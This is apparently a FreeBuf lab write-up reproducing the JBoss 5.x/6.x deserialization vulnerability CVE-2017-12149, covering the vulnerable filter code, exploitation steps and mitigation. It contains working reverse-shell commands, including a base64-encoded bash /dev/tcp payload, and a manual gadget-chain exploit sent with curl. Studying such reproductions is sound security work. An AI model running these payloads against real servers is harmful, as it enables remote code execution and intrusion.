freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

JBoss 5.x和6.x反序列化漏洞(CVE-2017-12149)
2023-01-05 19:43:55
所属地 江苏省

1.漏洞简介

该漏洞为Java反序列化错误类型,存在于Jboos的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致攻击者可以在服务器上执行任意代码。

2、漏洞版本

JBOOS Application Server是一个基于J2EE的开放源代码的应用服务器,JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,Java序列化:把Java对象转换为字节序列的过程。Java反序列化:指把字节序列恢复为Java对象的过程。

Java序列化与反序列化作用:便于保存数据,或者进行数据的传输。

序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);

反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();

漏洞出现在Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFiter.class文件中其中doFilter函数代码如下:

`public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);

mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);

}
`
直接从Http中获取数据,在没有进行检查或者过滤的情况下,尝试调用了readobject()方法对数据流进行反序列化操作,因此产生了Java反序列化漏洞。

3、影响版本

JbossAS 5.x

JbossAS 6.x

4、漏洞复现

1、我们这里使用vulhub靶场启动环境。

cd jboss/
cd CVE-2017-12149/
docker-compose up -d

图片.png

2、我们访问链接,查看靶场是否启动成功。

http://192.168.61.129:8080/

图片.png
3、进入漏洞页面http://your-ip/invoker/readonly,http响应码500(内部服务器错误-服务器端的CGI,ASP,JSP等程序发生了错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。

图片.png

4、查看版本号

/admin-console/login.seam?conversationId=4

图片.png

4.1、工具直接利用

工具下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149

图片.png

1、反弹shell

这里复现,我们需要bash方法进行编码。

bash -i >& /dev/tcp/192.168.61.128/6666 0>&1

2、我们对payload进行编码,编码网站:https://base64.us/

图片.png

编码结果如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

3、我们kali进行监听。

图片.png

4、我们在工具执行payload。

图片.png

5、kali成功反弹。

图片.png

4.2、手工复现

1、下载漏洞工具:https://scan.javasec.cn/java/JavaDeserH2HC.zip

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 127.0.0.1:888 #填写监听机IP和port

nc -lvp 888

curl http://192.168.234.128:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser #提交二进制数据

5、漏洞修复

建议用户升级到JBOSS AS7,另不能及时升级的用户,可采取如下临时解决方案:

\1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。

\2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*,用于对 http invoker 组件进行访问控制。

# 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录